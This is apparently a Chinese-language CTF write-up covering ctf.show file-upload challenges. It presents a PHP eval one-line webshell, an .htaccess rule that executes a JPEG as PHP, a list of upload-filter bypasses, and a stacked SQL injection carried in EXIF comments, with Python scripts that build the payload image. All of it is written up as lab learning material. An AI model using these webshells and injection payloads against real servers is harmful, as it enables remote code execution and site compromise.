提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
绕过MIME检测上传webshell
打开网页,如下:

绕过方法
很明显的"文件上传"题目,这里我们随便生成个1.php,然后抓包修改后缀:
bash
# 1.png的内容
<?php @eval($_POST['attack']);?>
可以看到成功上传,这里使用蚁剑进行连接即可:
- 如果不会连接蚁剑:如何解决蚁剑返回数据为空(已成功解决)
(正常上传,只检测后缀 ,而不检测文件头等)

成功进行绕过:

输入网址:https://ddd3aa37-4053-4e5a-a647-488a4486b1a7.challenge.ctf.show/upload/1.php
然后输入密码:attack

随后进入目标机器,寻找flag:

得到结果:

htaccess攻击
这里我们发现与上一关页面相同,但应该添加了更多的限制:

尝试上一关所用的方法,发现失败了:

文件绕过的方法
既然简单的后缀绕过无法成功,那么文件上传还有几种方法:
- MIME类型绕过 :通过拦截并修改HTTP请求数据包中的
Content-Type字段(例如将其从application/php修改为image/jpeg),欺骗服务器端基于MIME类型的检测机制。- 文件头绕过 :在恶意脚本文件的开头添加合法文件(如图片)的特征标识或魔数(例如写入
GIF89a),以此伪装文件真实内容,绕过服务器对文件内容头部特征的扫描与检测。- 00截断绕过 :利用部分底层环境或低版本程序语言对空字符(
%00或0x00)的解析特性,在文件名中插入空字符(如shell.php%00.jpg),使服务器在校验时读取到.jpg,而在实际存储或解析时截断保留为.php。- 多重/双后缀绕过 :利用特定Web服务器(如Apache或Nginx)解析规则的漏洞或配置不当,使用类似
shell.php.jpg(利用从右向左解析特性)或shell.pphphp(针对简单的字符串替换过滤)的文件名来绕过黑名单。- 条件竞争绕过:利用服务器"先将上传文件保存到临时目录,再进行安全检测并删除非法文件"的逻辑,在文件被保存与被删除的极短时间差内,通过高频并发请求强制访问并执行该恶意脚本。
所以根据上述,我们一一进行尝试:

那就只能使用htaccess攻击进行绕过了;
.htaccess文件介绍
.htaccess攻击是指攻击者获取了Apache服务器中.htaccess配置文件(目录级配置文件)的修改权限后,通过篡改该文件来控制服务器行为的攻击方式。主要包含以下两点:
- 篡改解析规则以执行恶意代码
攻击者通过在.htaccess文件中写入特定指令(如AddType application/x-httpd-php .jpg),改变服务器默认的文件解析策略。 - 越权执行代码文件
这会使得服务器将原本不具备执行权限的普通文件(如被植入恶意代码的.jpg图片文件)当作PHP等脚本文件进行解析和运行,从而帮助攻击者获取服务器控制权。
绕过方法
首先我们编写 .htaccess文件:
js
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
根据配置文件,可以将shell.jpg文件作为php脚本进行解释:


然后把.htaccess文件上传至目标服务器,这里也可以随便传一个文件,然后将文件名和内容改成.htaccess文件,效果是一样的:

然后上传jpg木马文件:

点击下载文件,利用恶意代码即可,依旧注意连接地址为http,使用https可能会失败:
bash
https://8c4fe4db-8c33-4181-a898-6890a4dac50f.challenge.ctf.show/upload/shell.jpg

进入并找到flag:

Exif注释包含恶意代码
这里我们可以看到,是一个全新的画面:(云还是动态的,会动)

这里随便尝试一下,发现会弹出错误:

绕过方法
因为没有其他可靠信息,只能尝试进行前端js绕过:

也是发现了相应的登陆代码:
bash
var open = 0;
layui.use('layer', function() {
//非空验证
$('input[type="button"]').click(function() {
var login = $('input[name="login"]').val();
var pwd = $('input[name="pwd"]').val();
if(login == '') {
ErroAlert('请输入您的账号');
} else if(pwd == '') {
ErroAlert('请输入密码');
} else {
//登陆
var JsonData = {
login: login,
pwd: pwd,
};
$.post("checklogin.php",JsonData,function(data) {
if(data=="success"){
window.location.href = 'main.php';
}else{
alert("error");
}
});
}
代码解释:
-
业务功能逻辑
- 该代码实现了一个基础的登录表单提交过程。当用户点击按钮时,代码会获取输入的账号和密码并进行前端非空校验。
- 校验通过后,利用 AJAX (
$.post) 将数据发送至后端的checklogin.php接口。 - 根据后端返回的纯文本结果,若为 "success" 则将页面重定向至主页 (
main.php),否则弹出错误提示。
-
代码缺陷与安全隐患
- 首先,密码未在前端进行任何加密处理,直接明文传输,若未使用 HTTPS 协议极易被抓包窃取。
- 其次,AJAX 请求仅处理了逻辑判断,缺乏对网络中断或服务器异常(如 404、500 状态码)的容错处理代码。
对其进行Web目录枚举 :发现了robots.txt文件:

访问得到的目录,发现了管理员重置密码的页面:

重置密码:

随后使用 admin / 123456 进行登陆:


这里尝试上传上一关的shell.jpg :

这表明该文件极大概率是一个恶意木马(WebShell)。
- 后缀伪装 :表面是
.zip压缩包,真实内容却是 PHP 脚本,旨在绕过系统的文件上传检查。 - 单行木马:"无换行符"是典型的"一句话木马"特征,攻击者将恶意代码写在同一行,以缩小体积并躲避安全查杀。
可以看到,系统对上传的文件有了更加严格的过滤;
所以,这里可以使用特制的C64FILE文件插入SQL语句到EXIF注释中:
bash
# 使用的payload
<?=`tac /f*`?>
# 对payload进行Hex编码,然后使用C64FILE文件插入SQL语句
C64File "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell.php';--+
详细步骤:
(1)首先创建一张不大于 10KB的图片1.jpg
也可以使用直接用 Python 构造最小 JPEG(无需原图):
bash
import struct
import io
def make_jpeg_with_exif_comment(payload: str, output_path: str):
"""
构造一个最小合法 JPEG,EXIF Comment 字段包含 payload
"""
payload_bytes = payload.encode('latin-1')
# JPEG SOI
soi = b'\xff\xd8'
# APP1 EXIF 段
# EXIF header
exif_header = b'Exif\x00\x00'
# TIFF header (little-endian)
tiff_header = b'II\x2a\x00\x08\x00\x00\x00' # II = little-endian, 0x2a = magic, offset=8
# IFD0: 1 entry (ImageDescription = 0x010e)
# tag=0x010e, type=2(ASCII), count=len+1, value_offset
tag = 0x010e
ifd_type = 2 # ASCII
count = len(payload_bytes) + 1 # +1 for null terminator
# IFD entry size = 12 bytes, IFD count(2) + 1 entry(12) + next_ifd(4) = 18 bytes
# value offset = 8 (tiff header) + 2 (count) + 12 (entry) + 4 (next ifd) = 26
value_offset = 8 + 2 + 12 + 4
ifd_count = struct.pack('<H', 1)
ifd_entry = struct.pack('<HHII', tag, ifd_type, count, value_offset)
next_ifd = struct.pack('<I', 0)
value_data = payload_bytes + b'\x00'
tiff_data = tiff_header + ifd_count + ifd_entry + next_ifd + value_data
app1_data = exif_header + tiff_data
app1_len = len(app1_data) + 2 # +2 for length field itself
app1 = b'\xff\xe1' + struct.pack('>H', app1_len) + app1_data
# 最小 JPEG 图像数据(1x1 白色像素)
# SOF0 + DHT + SOS + EOI
minimal_jpeg_body = bytes([
0xff, 0xdb, 0x00, 0x43, 0x00, # DQT
0x08, 0x06, 0x06, 0x07, 0x06, 0x05, 0x08, 0x07,
0x07, 0x07, 0x09, 0x09, 0x08, 0x0a, 0x0c, 0x14,
0x0d, 0x0c, 0x0b, 0x0b, 0x0c, 0x19, 0x12, 0x13,
0x0f, 0x14, 0x1d, 0x1a, 0x1f, 0x1e, 0x1d, 0x1a,
0x1c, 0x1c, 0x20, 0x24, 0x2e, 0x27, 0x20, 0x22,
0x2c, 0x23, 0x1c, 0x1c, 0x28, 0x37, 0x29, 0x2c,
0x30, 0x31, 0x34, 0x34, 0x34, 0x1f, 0x27, 0x39,
0x3d, 0x38, 0x32, 0x3c, 0x2e, 0x33, 0x34, 0x32,
0xff, 0xc0, 0x00, 0x0b, 0x08, 0x00, 0x01, 0x00, # SOF0 1x1
0x01, 0x01, 0x01, 0x11, 0x00,
0xff, 0xc4, 0x00, 0x1f, 0x00, # DHT
0x00, 0x01, 0x05, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b,
0xff, 0xda, 0x00, 0x08, 0x01, 0x01, 0x00, 0x00, # SOS
0x3f, 0x00, 0xf5, 0x28, 0xa1, 0x4f,
0xff, 0xd9 # EOI
])
jpeg_data = soi + app1 + minimal_jpeg_body
with open(output_path, 'wb') as f:
f.write(jpeg_data)
print(f"[+] 生成文件: {output_path}")
print(f"[+] 文件大小: {len(jpeg_data)} bytes")
print(f"[+] Payload 已写入 EXIF ImageDescription")
payload = "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell.php';--+"
make_jpeg_with_exif_comment(payload, "evil.jpg")
(2)随后使用exiftool写入恶意注释:
bash
.\exiftool.exe -Comment="');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell.php';--+" 1.jpg
得到结果如下:

也可以使用python脚本写入,而不需要exiftool:
bash
import piexif
import struct
# 读取图片
img_path = "test.jpg"
# SQL 注入 payload
payload = "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell.php';--+"
# 读取现有 EXIF(没有则新建)
try:
exif_dict = piexif.load(img_path)
except:
exif_dict = {"0th": {}, "Exif": {}, "GPS": {}, "1st": {}}
# 写入 Comment 字段(0x9286 = UserComment)
# UserComment 需要前缀标识编码,ASCII 前缀为 b'ASCII\x00\x00\x00'
exif_dict["Exif"][piexif.ExifIFD.UserComment] = b'ASCII\x00\x00\x00' + payload.encode('ascii')
# 也写入 ImageDescription(有些题目读这个字段)
exif_dict["0th"][piexif.ImageIFD.ImageDescription] = payload.encode('ascii')
exif_bytes = piexif.dump(exif_dict)
piexif.insert(exif_bytes, img_path)
print("[+] EXIF 写入成功")
print(f"[+] Payload: {payload}")
# 验证
exif_check = piexif.load(img_path)
print("[+] UserComment:", exif_check["Exif"].get(piexif.ExifIFD.UserComment))
(3)上传jpg文件:

(4)随后访问shell.php即可

流程图:
bash
test.jpg (正常图片)
↓ exiftool 写入 Comment 字段
test.jpg (EXIF Comment = SQL注入语句)
↓ 上传到题目
后端读取 EXIF → 拼接 SQL → 执行堆叠注入
↓
/var/www/html/shell.php 被写入 <?=`tac /f*`?>
↓ 访问
flag 回显
总结
- 漏洞原理: CTF 题目中文件上传功能将 EXIF 注释字段内容直接拼接入 SQL 语句,未做转义过滤,导致堆叠注入。
- 利用链: 构造含恶意 SQL 的 JPEG → 上传触发注入 → SELECT ... INTO OUTFILE 写 webshell → 访问执行命令读 flag。
- 核心技巧: 极短 payload 绕过长度限制,十六进制编码绕过关键词过滤,EXIF Comment 字段作为注入载体。